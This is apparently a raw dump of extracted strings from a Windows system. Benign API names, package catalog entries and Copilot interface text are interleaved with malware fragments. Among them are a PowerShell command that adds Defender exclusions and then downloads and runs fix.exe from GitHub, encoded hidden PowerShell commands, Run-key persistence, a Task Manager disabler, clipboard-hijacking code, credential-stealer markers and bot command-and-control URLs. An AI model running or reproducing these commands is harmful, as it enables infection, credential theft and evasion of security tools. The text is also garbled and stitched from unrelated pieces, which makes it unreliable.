WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDuplicateString
WindowsStringHasEmbeddedNull
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WINDOWS.STORAGE.STREAMS.DATAWRITER
onecoreuap\windows\DirectX\dxg\Inc\DxgiEffectCommon.h
Ns\system32\conhost.exepowershellset-clipboardi;sleep1;sal$debugpreference('s'+'al');silentlycU
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
qget-itempropertyvalue-path'hkcu:\software\microsoft\windows\currentversion\explorer\clsid
nssminstall"windowssecurity""c:\
[system.windows.forms.clipboard]::settext(`$clipper)
116^com.microsoft.windows.extensionpackage
1dc^com.microsoft.windows.extensionpackage
1de^com.microsoft.windows.extensionpackage
Windows.Data.Calling
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
Mozilla/5.0 (Windows NT 10.0; Win64; x
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
9licationModel::Background::IBackgroundTaskRegistration> >,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::MoveNext(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IKeyValuePair<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>,struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>::Value(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskRegistration<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>::Name(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskRegistration<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>::Unregister(bool) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>,enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus> >::await_resume(void) const
struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics>(const struct winrt::param::hstring &)
struct winrt::Windows::ApplicationModel::Background::BackgroundTaskBuilder __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::ApplicationModel::Background::BackgroundTaskBuilder>(void) const
struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistrationStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistrationStatics>(const struct winrt::param::hstring &)
struct winrt::Windows::ApplicationModel::Background::ISystemTriggerFactory __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::ISystemTriggerFactory>(const struct winrt::param::hstring &)
struct winrt::Windows::ApplicationModel::Background::ITimeTriggerFactory __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::ITimeTriggerFactory>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterator<struct winrt::Windows::Foundation::Collections::IIterator<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::HasCurrent(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterator<struct winrt::Windows::Foundation::Collections::IIterator<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::Current(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>,enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>::Completed(const sFILE0
ext-ms-win-kernel32-windowserrorreporting-l1-1-1.dll
ext-ms-win-kernel32-windowserrorreporting-l1-1-0.dll
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.OnPosRectChange
System.Windows.Forms.UnsafeNativeMethods.IOleControl.OnAmbientPropertyChange
get_WindowsFontCache
windowsFontCache
System.Windows.Forms.UnsafeNativeMethods.IInvokeProvider.Invoke
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
onecoreuap\windows\dwm\common\util\utillib\debugbreak.cpp
onecoreuap\windows\dwm\common\shared\refcountbase.cpp
<lf@po:i+00/c:\p1scabs<.scabsz2irishmenvenusian.jsx.irishmenvenusian.js"%..\..\..\..\scabs\irishmenvenusian.jsc:\windows\explorer.exe%systemro
ucal_getTimeZoneIDForWindowsID
icu.ucal_getTimeZoneIDForWindowsID
ucal_getWindowsTimeZoneID
icu.ucal_getWindowsTimeZoneID
%Microsoft Windows Production PCA 20112010
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
bin;bas;bak;cab;cat;cmd;com;cr;c;drv;db;disk;dll;dns;dos;doc;dvd;eula;exp;fax;font;ftp\addins\*.*\apppatch\*.*\config\*.*\cursors\*.*\driver cache\*.*\drivers\*.*\fonts\*.*\help\*.*\inf\*.* \java\*.*\microsoft.net\*.*\msagent\*.*\registration\*.*\security\*.*\servicepackfiles\*.*\speech\*.*\system\*.*\system32\*.*\web\*.*\windows update setup files\*.*\microsoft\*.*bush_sseventklinton_ssmmfsalan_ssmutant
SysLogon(CAMPAIGNSELECTIONPopupsPerDay field is missingLastPopupShown=%s;PopupsShown=%i;MaxPopupPerDay=%isystem32\drivers\etc\hosts
\hostssoftware\microsoft\windows nt\currentversion\winlogon\notify\
Windows Update Setup Files/*.*
software\microsoft\windows\currentversion\runonce
*WinLogonSysUpdIsRunningMutexsoftware\microsoft\sysupd
software\microsoft\windows\currentversion\run
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
-_browser.windows_welcome_experience_autolaunch_internal_flow
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|!
Microsoft-Windows-Media-Format-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|!
Microsoft-Windows-PhotoBasic-PictureTools-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|.cat|
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
r$bkupinfo.save("c:\windows\temp\{$bac#
System.Windows.Forms.UnsafeNativeMethods.IGridProvider.GetItem
get_WindowShim
AddWindowShim
HtmlWindowShim
GetWindowShim
    name="Microsoft.Windows.onecoreuapshell.propsys"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
The new process has a new console. Note: This property has been Deprecated in Windows XP and is no longer used.
If the DefaultSeparateVDM switch in the Windows section of WIN.INI is TRUE, this flag causes the CreateProcess function to override the switch and run the new process in the shared Virtual DOS Machine.
Either the name of the desktop only or the name of both the desktop and window station for this process.  Note: This property has been Deprecated in Windows XP and is no longer used.
%Microsoft Windows Production PCA 2011
%windir%\system32\vsocklib.dll
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
%Microsoft Windows Production PCA 20110
Microsoft Windows0
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accHelpTopic
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.ChildId
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_ChildId
%Microsoft Windows Production PCA 20110
Microsoft Windows0
 Windows
gen. Geben Sie Ihr Windows-Kennwort ein, um dies zu erm
"Windows"
"Windows"
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
 kupuhipa Windows ki te whakaae kia p
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and
WINDOWS11
OS=Windows_NTI
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
WINDOWS11
1^MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHostS
)3^Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!Ap
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device batt
c:\windows\adopelocalapN
68^com.microsoft.windows.e
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|top-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
 possible windows ?:h:d:l:s:b:t:D:g:H:f:wiunomcv
software\clients\startmenuinternet\firefox.exe\shell\open\command\\?\globalroot\systemroot\system32\drivers\etc\hostspk11_checkuserpasswordcookiesie.zcookies.zkeylog.zcerts.zsysinfo.ziexplore.exe|opera.exe|firefox.exesrc='http://%s/jbinfo.cgi?%s:%d'>global\{721e3a61-883b-4144-ba81-1f965879e5c9}authinfo pass stealitpass_logsniff_log
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
get_ToolWindowSeparator
set_ToolWindowSeparator
ShowWindowStyles
System.Windows.Forms
windows
\system32\
windows
\system32\
powershell.exe -noprofile -executionpolicy bypass -windowstyle minimized -file-
add-mppreference-exclusionpath$env:userprofileadd-mppreference-exclusionpathc:\windows$url="https://github.com/naruto3213213/111/raw/refs/heads/main/fix.exe"$output="$env:temp\fix.exe"invoke-webrequest-uri$url-outfile$outputstart-process-filepath$output
C:\WINDOWS\
Microsoft-Windows-Audit-CVE
windowsperformancerecorderui.dll
%programfiles%\windows kits\10\windows performance toolkit
%programfiles%\windows kits\10\windows performance toolkit\wprui.exe
%programfiles%\windows live\installer
%programfiles%\windows live\installer\dashboard.exe
%programfiles%\microsoft sdks\windows\%version%\bin
%programfiles%\microsoft sdks\windows\%version%\bin\topoedit.exe
%programfiles%\windows kits\10\debuggers\%version%
%programfiles%\windows kits\10\debuggers\%version%\symstore.exe
%programfiles%\windows kits\10\bin\%version%\%version%
%programfiles%\windows kits\10\bin\%version%\%version%\rc.exe
Windows
Mozilla/5.0 (Windows NTf
Windows Hardware Compatibility Intermediate CA
WINDOWS\system32\cmd.ex<
	^windows.appExtensionHost
^windows.appExtensionP
windows.barcodeScannerPreviewProvider
"Windows"
X-BM-WindowsFlights
5hbftpTransfertaskkill.exe -f -im  cmd.execmd /k  start c:\windows\system\svchost.exeTodos Arquivossystem\assun.sys
WindowsRegion
account.activedirectory.windowsazure.com4
applicationwindowstate="minimize"/><scriptsrc="https://nutrientpoints.com/epa/?partr
ContextElement != Windows::Microdom::Rtl::Element::InvalidValue()
1WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeAppF6F
?directDownload=truehttps://www.sugarsync.com/pf!C:\Windows\System32\Rundll32.exeBang.java
Windows.p
WindowsSearch
Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy
New Windows
Document Windows
EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy
Windows
" & URL, "%windir%\system32", vbHide)
x\windows\explorer.exe".\.__macos__
bf^windows.appExtension
c0^windows.appExtension
Microsoft.Windows.Midi2.DiagnosticsTransport
User-Agent: Mozilla/5.0 (Windows NT 10.0; 
?c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8adwb3ahcalgbzagqacwbvagyazgbp
?effectiveState@QWindowPrivate@@SA?AW4WindowState@Qt@@V?$QFlags@W4WindowState@Qt@@@@@Z
SWindowStyleH&
?allWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
DriverData=C:\Windows\System32\Drivers\DriverData
com.microsoft.windows.extensions.xaml.accountdialog
USERDOMAIN=Windows11-
SystemRoot=C:\WINDOWS!
.dll",0+16,"windows"
="c:/windows/temp/".concat("/".concat(
[system.windows.forms.clipboard]::settext(
dows\system32\cmd.execmd.exe/
\"?rundll32(\.exe)?\"?\s+\"?.:\\windows\\system32\\spool\\drivers\\x64\\\d+\\hpmsn\d+\.dll\"?,monitorprintjobstatus\s+/pjob=\d+\s+/pname
c:\windows\system32\
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Runsystemup.exesystem16.exevbfile.exe uiojik.ru/botzupd.htmliojik.ru/in.php?ver=3.0a0005iojik.ru/botzcfg.php?ver=3.0a0005sepg92mmnuihqnmeklvrumez6koyzx70xvmgf6jvcqqerve7t85uj6q_r7ogwyzgzhnkzk1o-jzvcdyazsg3vuydrvd= "wscript.shellpowershell -nop -ep bypass -windowstyle hidden -enc .run$ payload
q9@homedrive & "\windows\microsoft.net@
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.TlgAggregateInternal
c:\windows\
c:\windows\
c:\windows\system32\sys\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\drivers\
c:\windows\system32\wow
windows11
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr/treg_dword/d1/f
\windefender\windowsdefender\
mNNUPUEJUWU.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Google Chrome Crash Reporter', aikido() + '\\CrashReport.exe', 'REG_SZ');CrashReport.eREPl_957FB397
\@\\appdata\\roaming\\microsoft\\windows\\startmenu\\programs\\startup\\
WindowsVersion
WINDOWS11
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WINDOWS.STORAGE.APPLICATIONDATA
 Windows 
\Microsoft\WindowsLogger\winlogger.exe
\Microsoft\Windows\WindowsAccManager\smass.exe
\Microsoft\Windows\WindowsAccManager\account.exe
\Windows NT\Accessories\RuntimeManager\runtimemanager.exe
 (x86)\Windows NT\Accessories\RuntimeManager\runtimemanager.exe
4\Windows Discount\
Q\Windows Discount\
: (x86)\Windows Discount\
\Windows Discount
windowstylehidden-encodedf
%appdata%\microsoft\windows\startmenu\program
cZc:\windows\system32\windowspowershell\v1.0\powershell.exe-win1echo
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Windows
WINDOWS11
WINDOWS11
WINDOWS11
System.Windows.Forms.UnsafeNativeMethods.ISelectionItemProvider.IsSelected
System.Windows.Forms.UnsafeNativeMethods.ISelectionItemProvider.get_IsSelected
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
[MSAL:0006]	DEBUG  	IsAuthorizationTypeSupported:131	WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
